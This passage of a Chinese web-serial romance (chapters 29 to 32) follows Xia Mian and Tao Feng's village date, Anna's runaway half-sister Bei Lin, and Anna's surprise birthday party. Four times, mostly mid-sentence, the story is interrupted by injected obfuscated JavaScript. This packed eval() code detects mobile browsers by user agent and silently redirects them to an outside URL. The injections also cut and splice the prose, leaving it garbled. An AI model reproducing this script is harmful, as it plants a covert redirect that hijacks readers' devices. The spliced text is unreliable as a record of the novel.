女孩上下打量着Anna，语气里满是按捺不住?的嫌弃：“我找姐姐找得好辛苦，没想到姐姐你居然在这种……穷地方吃饭。” “你说话真特么的难听，嫌这地方穷你怎么还来了？”林望忍不住开口骂街，脸色都冷了几分。 Anna拉了拉他的衣袖，低声道：“这就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16092586|179524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是我那个同父异母的妹妹，贝林。” 林望心头一动，Anna提起过，她父亲和陶风的父亲曾想让陶风跟面前这个刚刚大学毕业的妹妹联姻……这可不行啊！ 于是，林望看向贝林的眼神不自觉地警惕起来。 “你怎么知道我在这儿？”Anna问。 贝林晃了晃手里的手机，屏幕上是Anna发在脸谱上的定位照片：“是东岚村的村民告诉我，来这儿的路怎么走的。” “你来这儿干嘛？” 贝林轻蔑得看了一眼林望，那眼神像在看什么不干净的东西，气得林望恨不得甩她一巴掌。 “我爸说那个叫陶风的执意拒绝联姻，他好像没有搞清楚，在我没表态之前，他不能说不。” 林望“切”了一声，直言：“陶风早已名草有主，你回家玩去吧！” 贝林却满不在乎：“我才不管这些，我的声誉都被他毁了，我得找他算账！” 她看着Anna和林望，用命令的语气问：“告诉我他现在在哪里。” 然而Anna和林望只是互相对视一眼，都没接话，懒得搭理她，继续享用香喷喷的海鲜炒饭。 贝林见他们不理自己，觉得自讨没趣，转身带着保镖往民宿的方向走去，嘴里还嘟囔着：“不说我就自己去找！” 海风依旧吹着，小吃摊的灯光在浪声里轻轻摇晃，Anna望着贝林一行人的身背影，心里气涌如山：“我爸都把她惯得无法无天了，这小丫头竟然还去东岚村堵人！幸好陶风和夏绵出来约会了。” 林望安慰道：“别管她了，咱先好好吃饭，饭快凉了。” 而此时，陶风与夏绵的房间里，气氛有些微妙。 “陶风，我……我生理期提前了，没带卫生用品。”夏绵缩在卫生间里不敢出来，声音微弱。 陶风愣了一下，随即反应过来，柔声问：“那我打电话问问前台有没有？” “我问过了，前台说前面的小超市里有。” 夏绵红着脸，鼓起勇气开口：“你能不能……” “我这就去。”陶风说：“你先出来躺被窝里暖和着，别着了凉。” 夏绵“嗯”了一声，等听到陶风带上门的声音，才红着脸慢慢走出来，乖乖钻进了被窝。 民宿前面的小超市亮着暖黄的灯，货架上的商品摆得满满当当。 陶风站在女性用品区，有点手足无措。 来之前他特意问过陶浔，此刻正凭着记忆，认真地挑着日用和夜用的款式。 他拿起一包看了看，觉得不是夏绵喜欢的颜色，于是又放下，换另一包，最后索性每种颜色都拿了些，装了满满一筐。 陶风提着筐走到收银台，正撞见一个小女孩在和收银员争执着什么。 “我这卡全世界都能刷，到你这儿怎么就不行？” 贝林手里捏着一张黑色的卡，另一只手里拿着几包鱼肠，“不就是买点东西嘛，要求这么多干什么？” 收银员是位白了头发的阿婆，一脸为难：“姑娘，我们这小地方，真刷不了您这种卡，店里只收现金或者手机扫码付款。” 贝林急得跺脚，她刚到国内，现金没带多少，手机支付也没弄明白，在国内生活要面临的难题还真不少。 站在贝林后面等结账的陶风听明白了缘由，他越过贝林把筐子放在收银台上，掏出手机对阿婆说：“她的账我一起结了。” 29. 第二十九章 贝林猛地转头，撞进一双沉静的眼眸里。 男人就站在身后，眉峰像远山含黛，不锐不利，却自有疏朗清隽。 他说话的声音虽温和熨帖，但却好像裹着层淡淡的漠然疏离。 面前这位脸蛋俊美又一身正气的男人足以让正值青春芳华的她脸红心跳。 贝林颤着手把鱼肠交给阿婆扫码，眼睛自始自终没离开过陶风。 追她的男人有很多个，可她从未有过现在这种感觉。 等陶风付完钱，她赶紧从手上的几枚戒指里取下一只最大的塞进他手里，“这个给你，算我还你的钱。” 贝林的举动让陶风愣了愣，还没来得及说话，贝林已经拿着鱼肠跑了出去。 陶风结完账追出去时，看到她蹲在路边，小心翼翼地咬开鱼肠，递到一只瘦弱的橘猫嘴边。 小橘猫怯生生地嗅了嗅，“喵呜”了一声然后小口小口吃起来。 “猫猫慢点吃，我给你买了好多喔。” 在飘雨的清冷夜里，这一幕画面却显得分外温暖。 陶风走过去把戒指递回给她，“你喂流浪猫是好事，我帮你付钱，也算跟着做了件善事，钱就不用还了。” 贝林抬头看他，路灯的光伴着雨丝落在他的眼睫上，贝林望着他那双深邃的眼睛，无端觉得自己卷入了一个映着星河的墨色旋涡里。 她手忙脚乱地接过戒指，见陶风已经转身离开，又想追上去说点什么，可低头一看，小橘猫正用脑袋蹭她的手背，喉咙里发出细细的呼噜声，像在撒娇讨食。 她怜惜猫儿，只能眼睁睁看着陶风越走越远。 * 陶风回到房间，看见夏绵缩在被窝里，只露出颗毛茸茸的脑袋，她的眼睛睁得圆圆的，正怯生生地看着自己。 他的绵绵，真是……可爱极了。 陶风把东西放在床头柜上，刻意避开她的目光，声音放得更柔：“买了些，你看看合不合适，我去给你泡杯红糖姜茶？” 夏绵抿了抿唇，“嗯”了一声，等陶风去倒水，她才悄悄掀开被子一角，目光瞥见那一大袋卫生用品，胸腔里刚刚剧烈跳动的心脏瞬间软得一塌糊涂。 海边，夜潮轻轻拍打着沙滩，沙滩上还有几个游客戏水，偶尔有晚归的渔船驶过，马达声远远传来，又被浪涛吞没，只剩下船头的灯，像颗孤独的星星在海面游移，最终也融进那片被月亮牵引着的银光里。 Anna举着相机，试图捕捉月光下海面粼粼的波光，林望站在她身侧，替她扶着被风吹得歪斜的三脚架。 “你坐过去，”Anna指了指前面空着的沙滩椅，“我给你拍个照片。” 林望顺着她指的方向看过去，嫌弃地摇头：“黑乎乎的有什么好拍的?显不出我的美貌，还浪费胶片。” “这叫，“氛围感”，你懂不懂啊土包子！” “那你坐过去，我给你拍……” 两人打闹间，Anna外套口袋里的手机突然响了。 林望顺手掏出手机，看着屏幕上显示的“陌生号码”，皱眉道：“谁啊？” Anna犹豫了一秒，还是按下了接听键：“Hello……” “Anna小姐，”听筒里传来保镖队长阿威的声音，背景里能听见急促的脚步声：贝林小姐跟我们走散了。刚才在巷口她追一只猫，跑得太急，转个弯就没影了。她手机没电，定位器信号断了，我们正在原地扩大范围搜索。” Anna呼吸一滞。 贝林，走丢了？ “先别慌，”她深吸一口气，强迫自己冷静下来，“留两个人在走失的位置好好守着，你们一定要保持通讯畅通。剩下的人分成四组，东西南北四个方向排查，重点查看首饰店和服装店。” “明白，我这就安排。” 挂了电话，Anna转过身背对着海风，胸口因急速的呼吸而微微起伏，林望不忍看她着急难受的模样，伸手扶了扶她的肩，“你先别急……” “怎么能不急？”Anna红着眼抬头说，“贝林她就是个心智不成熟的小孩，如果有坏人找她麻烦该怎么办？我想都不敢想。” 林望看了下四周，“她会不会跟这些小姑娘一样，来海边捡贝壳了？” Anna立刻摇头，“不可能。她有深海恐惧症，游泳池都绕着走。” “深海恐惧症？”林望有些意外，“那她倒是有骨气，为了找陶风的麻烦，特地飞来三面临海的屿城，还跟着来这小渔村，她这不是跟自己过不去吗？” Anna没心思想这些，转身拉着林望就往村里的闹市走，“先把她找到再说其他的。” 林望却突然反手握住她的胳膊，语气沉静：“去巡警站问问，找人这种事警察叔叔肯定很有经验。” Anna点了点头，林望的建议确实有道理，在国内有问题求救警察叔叔是最正确的做法。 巡警站不大，只有两个值班的警察。 警察听完Anna和林望的叙述，又登记了贝林的信息，然后立刻拿起对讲机联系附近巡逻的同事，然后带着他们坐上了巡警车。 就在Anna快要着急到哭的时候，手机终于响了，她几乎是弹起来接起的：“找到了吗？” “贝林小姐找到了，Anna小姐。”阿威的声音里带着如释重负的轻快，“她正在村西头的小吃摊吃东西。” Anna悬着的心一下子落回原地，她长舒一口气，声音都有些发飘：“具体位置发我，我马上到。” 得知地址后，Anna和林望谢过警察，急匆匆地赶过去。 贝林坐在简陋的街边小摊旁，面前摆着一碗热气腾腾的蛤蜊，她吃得津津有味，边吃边赞赏似的点头，嘴角还沾着点汤汁，她怀里揣着一只小橘猫，猫爪正搭在她的手腕上想捞她嘴里的蛤蜊肉。 Anna又气又喜，快步走过去。看到她安然无恙，随即板起脸，带着怒意质问： “你跑哪儿去了？知不知道在陌生的地方乱跑是很危险的?” 贝林被Anna的训斥吓了一跳，下意识地把怀里的小猫抱得更紧。 “我……我追这只小猫呢。”她小声嘟囔，“刚才它从我脚边跑过，我就跟着追，追着追着就没看见阿威他们了。” Anna两手叉腰，气不打一处来，却又发作不得，想起贝林来这儿的目的，咬着牙开口问：“你不是要找陶风算账吗？找到他没？” 贝林摇摇头，脸上突然泛起一抹羞涩的红晕，回答的语气却笃定得很：“我不找什么陶风了。我已经有喜欢的人了，我要找我喜欢的人！” 这话一出，Anna和林望皆愣住，两人面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“嗯。”陶风走到她身边，伸手替她理了理额前的碎发，指腹擦过她的脸颊，带起一阵微凉的痒，他问：“想吃什么？” “蟹黄包！还要一碗豆浆。” “好，等着我。”陶风揉了揉她的头发，转身走向前台。 他穿过拥挤的人群，却总能在拐弯时回头看夏绵一眼，确认她安好才继续往前走。 夏绵抱着热水袋，靠在椅背上，眼皮越来越沉。 昨晚没睡好的困倦感一阵阵袭来，她迷迷糊糊地闭着眼，心想，等饭的时候小憩一阵也不失为一件悠闲自在的小事。 这时，一个穿着白色连帽体恤的男孩走过来，他看夏绵一个人坐着，旁边还有个空位，于是试探着开口：“你好，我可以和你坐一起吃饭吗？” 夏绵睡得正香，完全没听见男孩的请求。 男孩犹豫了一下，伸手轻轻拍了拍她的肩膀。 “唔！”夏绵被突然的触碰吓了一跳，手里的热水袋也顺着她的动作掉在地上，她下意识地弯腰去捡，男孩也连忙伸手，两人的手就这样不小心碰到了一起。 就在这时，一道冰冷阴沉的声音忽然从前面传来： “把你的手，拿开。” 30. 第三十章 夏绵心头微滞，下意识地扭头望去。 陶风正站在不远处，手里端着刚买好的早饭，眉头蹙着，眼底沉得像覆了层薄冰，隐隐透着点说不清的凉意。 她忙不迭扬起脸，笑意瞬间漫上眉梢：“你回来啦！” 那男孩显然也察觉到气氛不对，手僵在半空，讪讪地收了回去，将热水袋往夏绵那边递了递，讷讷道了声“不好意思”，便转身快步离开。 陶风迈步走近，将手里的早饭轻轻搁在桌上，落座时，视线却还黏在那男孩站过的位置，没挪开。 他开口，语气里带着微妙的醋意：“我才离开一会儿，狼就来了。” 夏绵压根没听出他话里的弦外之音，眼睛早被桌上的蟹黄包勾了去，她用筷子轻轻夹起一个，小口小口咬开，鲜浓的汤汁瞬间在舌尖漫开，不愧是青山村必吃榜榜首。 望着她这副全然不设防的模样，陶风方才那点醋意早散得没影了，心口反倒被一股软乎乎的宠溺填得满满当当。他目光落在她唇角沾着的一点蟹黄上，喉结轻轻动了动，思忖片刻，忽然俯身，在她光洁的额头上印下一个轻吻，轻得像拂了阵晚风。 “唔？”夏绵含着半口蟹黄包，腮帮鼓鼓的，带着点被惊扰的懵然抬眼望他，“你……你怎么突然亲我？” 陶风瞧着她这副懵懂又可爱的模样，喉间溢出低低的笑，伸手捏了捏她软乎乎的脸颊，“因为你太可爱了，我忍不住。” 夏绵的小脸红了个透彻，慌忙低下头，小口小口嚼着蟹黄包，长长的睫毛垂下来，在眼睑下方投下一小片毛茸茸的阴影。 原来陶风也会做这样外放的事，在这么多人的地方亲她……换作是她，恐怕早就害羞得连话都说不囫囵了。 难道陶浔说得是真的？虽然陶风表面上看着就是一副温润如玉的好大哥模样，但内里其实很腹黑？ 吃完早饭，回了民宿收拾行礼，陶风和夏绵的第一次约会就迎来了尾声。 青山村通向外界的路都是宽敞大路，此时正是下班的高峰期，堵车堵得厉害。 夏绵窝在副驾上静静地欣赏着窗外风景，在陶风第四次刻意放缓速度等红灯亮起时，才发觉他的不对劲。 难道，他不跟自己回家而是直接去公司吗？ 还真如此。 陶风要赶回公司亲自处理研发部最新检测出来的数据报告。 两人依依不舍地站在院门口分别，陶风抬手替夏绵理了理被风吹乱的刘海，拉下她的手拢在掌心里，眼里满是眷恋：“我得去市里处理点事，你在家好好歇着，暂时先停掉直播。” 夏绵点点头：“嗯，你路上当心。” “我很快就回。”陶风最后说道。 夏绵望着他转身离开的背影，白衬衫在晨光里透着柔和的光，直到那身影消失在路口，她心里突然空落落的，空得发慌。 回到家的夏绵坐在书桌前，打开电脑，开始核算视频账号后台的订单。可她的心思总像断了线的风筝，飘忽不定。 她眼前时不时浮现出今早陶风亲她额头时的样子，他的睫毛很长，落下的阴影落在她的眉骨上，带着温热的气息。 夏绵一想到这个吻脸颊又开始发烫，她伸手按了按，感觉浑身都充满暖意。 就在她对着电脑屏幕发呆时，林望突然推门进来，嗓门洪亮地喊：“夏绵！夏绵！出大事了！” 夏绵被吓了一跳，猛地回过神，精神一下子提了起来，连忙抬头问：“怎么了？出什么事了？” 林望走到她面前，一脸严肃地说：“Anna那个妹妹你还记得吧？她刚才在民宿看照片墙，指着陶风的照片说这是她在青山村遇到的真命天子，嚷嚷着说要嫁给陶风！你说她是不是有病！” 夏绵闻言只是愣了几秒，唇角勾起一抹浅淡的笑：“如果我没记错的话，Anna的妹妹也才二十一岁吧？”她转头继续看着电脑屏幕，好像并不把林望的话放心上，漫不经心道：“这个年纪的小姑娘，看谁顺眼了，就很容易把“喜欢”挂在嘴边，所以不用当真。” 看夏绵这无所谓的样子，林望急得手往桌上一拍，“夏绵，她都说非陶风不嫁了你还笑得出来？万一陶风他真被这小丫头片子缠上了呢？” “缠上也得陶风愿意才行啊。”夏绵端起杯子喝了一口热茶，继续说，“我刚认识陶风的时候，不也觉得他长得好看、说话又温柔、心里偷偷仰慕了他好一阵子吗？贝林说不定跟我那时候一样，只是被他的样子吸引了，但如果说“喜欢”，那还真谈不上。” “你这心也太大了！”林望挠着头发，额前的碎发都被他揉得乱糟糟，“她都说要嫁了要嫁了你还当她是小孩子过家家？”他搬着凳子往夏绵身边凑了凑，椅子腿在地板上拖出一声“滋啦”细响，“你和陶风去青山村的时候他到底做了什么？怎么平白无故收获这么个小迷妹？估计他做了什么见不得光的沾花惹草的事没敢跟你说！不然Anna她妹不可能一下子就非他不嫁了！” 夏绵抬眼看向林望，语气变得认真：“陶风不是见异思迁的人。”顿了顿，怕林望不信，又说：“昨天我们一整天都在一起，他吃了什么喝了什么做了什么我都知道。” “那可说不定，你又没在他身上安装监控器，哪知道他背地里什么样？”林望越说越激动，眼里都冒着凶光，“宁可错杀不可放过！你不问他，我问！”他起身往外走，椅子被带得往后滑了半尺。 夏绵连忙拉住他的胳膊，“林望你听我说！”这回声音放得软了些，带着安抚的意思，“我跟陶风认识快半年了，我知道他是什么样的人，我心里也有数。你现在冲到公司去质问，像什么样子？如果传出去，人家只会说你林望不成熟不懂事。公司初立，声誉至关重要，你这样不顾一切冲过去，对大家都没好处。” “夏绵你该不会也和邱澜一样犯恋爱脑了吧！你以前多勇敢果断的一个人，怎么现在遇到陶风就变得优柔寡断了?” “我不是优柔寡断。”夏绵耐心解释：“在陶风和Anna妹妹没正式见面、没发生什么实质性的事之前，我不过问。” 林望长叹一口气，刚想反驳就被夏绵打断。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16105512|179524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我和陶风之间，早就不只是恋爱关系了。东岚村要脱贫，要把民宿和农产品做起来，离不了他和Anna的帮助。”夏绵抬眼看向林望，眼里带着温和的笑意，“我知道你担心我，但你也误会我了，我不是要委屈自己，而是有些事，我要看得长远些，这样，我才能距离自己的理想更近。” 林望看清夏绵眼里的诚意与清醒，突然就想明白了。 他一直以为夏绵是被感情绊住了脚，却忘了夏绵心里装着的从来不止儿女情长。 想通了这个，他弯腰往椅背上一靠，椅腿在地上蹭出轻微的声响，带着点泄气的意味：“行吧，是我想简单了，你比我更像个大人。” 夏绵笑了笑，“我就是个最普通不过的人，如果不是认识了你和陶风还有Anna，说不定现在还在琢磨着怎么把东岚茶卖出去呢。”她倒了杯水递给林望，缓声道：“我姥姥说，人活着，情谊最重要。你对我的好，我都记在心里，所以，我早就把你当做我的家人了。林望，你不用为我操心，作为我的家人，请你一定要相信我会把未来的每一步都走得更踏实更稳定。” 家人？ 原来在夏绵的心里，我一直是她的家人吗？ 林望这么想着，有些欣喜地扬了扬眉，拿起水杯凑到唇边轻轻抿了一口这才抬眼看向夏绵：“那就听你的。不过如果陶风真敢对不起你，我这个做哥哥的第一个饶不了他！” 聊完这件事，林望正费劲地把系在肩上的碎花围裙解开重新穿好，夏绵微皱了一下眉，疑惑问：“你这身打扮，难不成是要……？” 林望垂了一下眼，做个了“嘘”的手势。 * 绵风公司研发部，陶风坐在办公桌前，十根手指在键盘上翻飞，敲击声密集急促，几乎没有停顿。 电脑屏幕上满是东岚村农产品的销售数据分析，绿色折线忽高忽低，密密麻麻的数值、图表和批注占满了整个界面，一眼望不到头。 “叮——”内线电话声响起，陶风顺手按下接听键。 “陶老师，您的母亲李女士来了。” 陶风敲键盘的手一停，抬眼看了下时间，已经是晚上八点多了，这个时间，母亲不是应该待在家里看电视剧的吗？ 门被推开，李媛提着个保温桶走进来，脸上带着掩不住的笑意，“忙呢？” “妈，您怎么这时候过来了？” “我给你送晚饭啊。”李媛把保温桶轻轻放在桌上，掀开盖子的瞬间，淡淡的药草香裹着肉香漫了出来，汤面上浮着层薄薄的油花，晃晃悠悠的。 “阿姨炖了茯苓老鸭汤，清热的，最适合这个时节喝。妈看你这阵子总熬夜，眼底都泛青影。”说着，她搬来软椅坐在办公桌对面，又把陶风面前堆积的文件拨开，眼里的光异常的亮：“你最近都在忙什么呢？” 陶风看着李媛这副带着期待的笑颜，瞬间懂了她的心思，但他故意装傻：“除了工作，我还能忙什么？” “别跟妈装！”李媛凑近了些，“小浔跟我说，你已经买好戒指了……” 31. 第三十一章 陶风定制了戒指这件事，陶浔是偶然间知道的，而陶浔知道的事，李媛也一定会知道。 “你跟夏绵这是定下来了？” “嗯，定下来了。” 陶风微微颔了颔首，“我想做她的丈夫，她也想做我的妻子。”说完，他拿起勺子舀了口汤尝了尝，一边回味这鲜香清爽的味道一边忍不住想这时候的夏绵在做什么。 李媛笑得眼睛都眯成了。今年过年的时候她这个做母亲的还在为好大儿陶风找不着老婆的事操心，没想到夏天才刚过去，她就要当婆婆了。 “我这几天去看房子，从五处里看中了两处。一处是南北通透的经典户型，客厅带个大厨房，采光好，住着舒坦。另一处是跃层，年轻人都喜欢的那种，楼上楼下的，动静分离，很方便。” “看房子干什么？” “为你们的喜事做准备啊！”李媛答得理所当然，见陶风要开口，又连忙补充，语速快了些，“我知道你已经买好了，我买的这套是我送给夏绵的结婚礼物，算是我这个当婆婆的一点心意。” “妈，你这是……” “妈知道的，夏绵那孩子过得苦。”李媛边说边叹口气，“小浔听东岚村的阿公阿婆们说过，夏绵从小就被爹妈扔在乡下由她姥扶养，她自己辛辛苦苦把日子过好了，还想着带动全村人一起过得好，这孩子太善良了，我想让她知道，我这个婆婆也会像她姥一样对她好的。” 陶风微微哽咽，低下头，把勺子里的汤慢慢喝下去，眼眶有些发热。 母亲原来早就把夏绵当成了家人，甚至比自己想的还要周到。 “您放心吧。”他抬起头，眼里带着些湿润的光，声音稳了稳，“我会对她更好，让她知道，我是那个可以让她随时依靠的人。” * 从市里回来的大忙人Anna把车停在夏绵家院门前，熄了火才发现肚子饿得发慌，胃里空落落的，她解开安全带，推开车门，微凉的晚风拂过脸颊，把白天的燥热都吹散了些。 走到院门口，看见木栅栏门锁着，锈迹斑斑的锁扣在灯光下泛着冷光，院里静悄悄的，连平时总趴在门口的阿黄都不见踪影，狗窝是空的。 夏绵前阵子也忙得脚不沾地，如今终于有了点闲空，估计是带着邱婆婆去了市里的公寓休息。 她这么想着便绕道去了金风玉露阁。 民宿的院子里黑漆漆的，连廊下的灯都没开，只有远处农户家的灯光透进来一点，能勉强看清脚下的路。 “林望也不在么？”Anna小声嘀咕着，眼底藏着一片失落。 她刚要拿出手机给贝林打电话，就听见院子里传来“滋啦”一声，像是打火机没打着火，火星一闪就灭了。 紧接着，几点火星“啪”地亮起，橘红色的光在黑暗里晃了晃，随即又灭了。 黑暗都夜里有人低低地骂了句什么，声音有点像林望，带着点懊恼的尾音。 林望的傻样儿总能让Anna哑然失笑，她刚要开口喊人，院子里突然“嘭”地一声，火星四溅，像炸开了把小烟花，廊下的灯“唰”地一下全都亮了起来。 当五彩斑斓的烟花在夜空里炸开时，她完全愣住了。 先是一朵金菊在头顶绽开，细碎的光屑簌簌往下落，紧接着红的、粉的、蓝的……花朵接二连三地涌出来，把夜空都染成了调色盘。 这一幕实在太美太美，美到让Anna觉得并不真切，她抬手挡在眼前，耳边突然响起那个全世界通用的旋律。 “祝你生日快乐，祝你生日快乐……” 林望的声音最响亮，调跑得也最离谱，夏绵和贝林跟在他旁边温温柔柔地托着拍子，三个人朝着Anna缓缓走来，为首的林望推着一个木制餐车，这个餐车还是夏绵直播时给观众们展示茶叶用的小货架，车上放着个奶油蛋糕，九根蜡烛的火苗轻轻晃着，把他们四个人的脸照得明明灭灭。 “发什么呆啊？”林望把蛋糕车推到Anna面前，抬手把戴在自己脑袋上的生日帽硬往她头上扣，“快把寿星帽给戴上。” Anna缩了下脖子，把生日帽戴好，随后听见林望在低声笑，他说：“生日快乐！万金大小姐！” 周围的空气好像突然变热了，连从山上吹拂来的微凉的夜风都开始变得温暖起来。 Anna看见蛋糕上用巧克力酱写的“Anna”歪歪扭扭的，这大概是林望的手笔，有些别扭地开口：“谢谢。” “快许愿吧！”夏绵站在旁边，手里还攥着几个没放完的烟花棒，“蜡烛快烧完了。” Anna点了点头，闭上眼睛，双手轻轻合在一起。 几秒钟后，她睁开眼，对着蜡烛轻轻一吹，九朵火苗同时熄灭，院子里暗了一瞬，随即廊下的大灯“啪”地一下亮了。 暖黄的光洒满整个院子，Anna这才看清，桂花树枝桠上挂满了彩色的纸条，上面用彩色的画笔写着不同的祝福语，每一条都是祝自己越来越好。 这是她的第二十九个生日，也是最特别的一个。没有盛大的宴会，也没有夸张的二十几层蛋糕，更没有虚情假意的笑脸，有的，只是三两好友在身边，用最真挚的言语祝福着自己。 这个生日，她过得比以往都要欢喜。 夏绵走过来，手里捧着个长方形的木盒子，“送你的礼物！” Anna打开盒子，将里面包括着的绸缎轻轻拿出来，“这难道是……刺绣马面裙?” “没错！是屿城的非遗刺绣。”夏绵说，“去青山村的时候看到的，我和觉得这颜色很衬你的气质。” “宝宝你也太爱我了！出去约会都想着我！”Anna一边边感叹一边边把裙子小心叠好放回盒子里，刚想过去拥抱夏绵，就被贝林给打断了。 “这是我送你的礼物。” 贝林把盒子往她怀里一塞，扭头看向别处，小脸像喝醉了酒似的突然红得特别厉害。 “你不可以不喜欢……” “你管我喜不喜欢。”Anna傲娇的回怼过去，然后迫不及待地打开盒子，精美的盒子里放着的是顶小巧的钻石王冠。 “我一直觉得你很厉害，无论是学习还是交朋友……你就像个女王，什么都能做到，”贝林绞着手指吞吞吐吐地发表自己的“感言”，“你知道吗？其实我很崇拜你，我想变得和你一样成熟优秀，所以才会一直烦着你……但我是个很笨的人，样样都不如你，你瞧不上我是应该的。” 贝林说着说着，声音也越来越小，脑袋也耷拉了下来。 Anna被她这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16111457|179524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 副样子萌得心都要软了，伸手把贝林的头发揉乱，听见对方“哎呀”一声跳开，才笑着说：“笨蛋，你是我的妹妹，只有我说你笨的资格，其他人包括你自己，都不许说笨！” 贝林抬头看她，眼里亮晶晶的，突然扑过来抱住Anna的胳膊，力道大得差点把她带倒：“那你要永远做我的姐姐！不准丢下我！” Anna笑着拍了拍她的背，“我和你本来就是姐妹啊！我们不会分开的。” 林望可看不得姐妹情深的催泪的场面，刻意清了清嗓子，把自己准备好的礼物拿了出来。 “我的。” 旁边的夏绵搭眼一看……嗯？ 林望送给Anna的生日礼物竟是酸豆角罐子! 玻璃罐子上还贴着一个便利贴，上面写着“林爷手作”。 Anna看着那罐酸豆角，眼眶再次湿润起来。 她在青山村的时候，随口跟林望说过自己的家庭情况，还向林望透露自己羡慕夏绵，原来，这些话他都记得。 “我是跟姥姥学的腌豆角，其实也不难嘛……”林望有些手足无措，傻乎乎地对Anna说：“你想吃，不用担心麻烦姥姥，我也可以做给你吃。” 看似神经大条的林望，原来也是个温柔细腻的大男孩。 贝林和夏绵对视一眼，颇有默契地各自后退一步。 Anna抬头看向林望，眼里的喜欢终是藏也藏不住。 她突然踮起脚，在他唇角处轻轻啄了一下。 夏绵和贝林同时发出一声尖叫，尤其是夏绵，她没想到Anna和林望这对欢喜冤家竟然会有这么一个浪漫的结局。 至于林望，他整个人都是懵的。 在Anna凑过来亲他的时候，他闻到的是一缕很舒服很好闻的香水味。 这香味勾得他心弦涌动，也让他想要一直沉沦其中。 * 第二天一早，见妻心切的陶风便驱车来了夏绵家。 院门大开着，他刚一进去就听见屋里传来一个陌生女孩的声音：“这个煎包太好吃了！你姥姥的手艺可真好!” 他循声走去，下一秒，虚掩着的厨房门就被打开了。 “男神！”嘴里咬着煎包的贝林朝着他大声喊道。 陶风微顿了步子，属实是被这清脆响亮的一嗓子给惊到了。 “你是……” “我是贝林啊！”贝林使劲把煎包咽下去，还拍了拍胸脯，“Anna是我姐姐。” “贝林?Anna的妹妹?” 陶风下意识地往后退了半步，与贝林拉开距离，“你好，我是夏绵的未婚夫，陶风。” 贝林脸上的笑容淡了点，眼里闪过一丝失落，但也就一瞬，很快就又扬起脸，往回走：“知道啦，我又不跟你抢夏绵。” 陶风不敢相信自己听到了什么，歪了歪脑袋发出一声“嗯”的疑问。 贝林走到门口，似是不甘心地回头看了陶风一眼，嘴角弯了弯，“夏绵是我和我姐在国内的第一个好朋友，你可千万别欺负她。” “那是当然。”陶风点了点头。 虽然不知道夏绵和贝林之间发生了什么，也不知道她们是怎么突然处成好朋友的，但女孩子之间的关系就是简单又美好。 32. 第三十二章 夜色如墨，月凉如水。 东岚村老村委会改造的养老院里，几扇窗户还亮着暖黄的光，其中最亮的那扇是一楼院长办公室。 陶风坐在靠窗的藤椅上，静静地欣赏着窗外的桂花树影影绰绰。 轻柔的晚风吹过，细碎的花瓣打着圈儿扬起又落下，空气里都飘着淡淡的花香。 他抬眼看向办公桌，上面堆满了文件，走近粗略地看了看，其中有应聘者的简历，有养老院的规章制度草案，还有几张用红笔标注得密密麻麻的床位分布图。 夏绵的钢笔斜斜地插在笔筒里，旁边压着半块吃剩的青团，大概是忙得忘了丢。 他拿起压在文件最上面的那份笔记本，这本的边缘有些卷翘，显然是被夏绵反复翻阅过。 翻开第一页，上面用娟秀的字迹写着备注：“邱四姨的丈夫瘫痪在床，需着重看护”。 夏绵总是这样，把每个人的难处都放在心上。 墙上的挂钟滴答作响，陶风看了眼时间，起身想去给夏绵倒杯水送去会议室，他刚走到饮水机旁，办公室的门“吱呀”一声被推开了。 一个穿着白色连帽卫衣的男孩端着个红色马克杯走进来，大概是没料到屋里有人，脚步顿了一下，视线落在陶风身上，上下打量了片刻，眉头一皱，不过很快就扬起一个热情的笑容： “您是……林望大哥吧？” 陶风正在接水的手顿了顿，暗自腹诽林望那小子整天穿着工装裤耍酷不说，人还总冒着傻气，虽然他长得也不错，不过跟自己的外观类型完全是天南地北好吧…… “我是夏……”陶风刚要开口解释，对方已经兴冲冲地走过来，把手里的马克杯往办公桌上一放，“哎，绵绵姐不在办公室啊？”男孩四处张望着，目光扫过堆积的文件，最后落在陶风身上，笑容可掬，“看您这气质，肯定是林望大哥没错了。常听绵绵姐提起您，说您是她拜过把子的兄长。” 陶风没接话，只是不动声色地打量着他。 这男孩看着二十出头的样子，发型是林望之前梳过的当下最流行的男偶像同款，他手里的那杯咖啡冒着热气，还散发着浓郁的豆乳红茶香，显然是精心调制过的。 老话说得好，无事献殷勤…… “你是？”陶风拿起桌上的纸巾，慢慢擦着刚才接水时溅出的水渍，语气平静，眼神里却带着一丝审视。 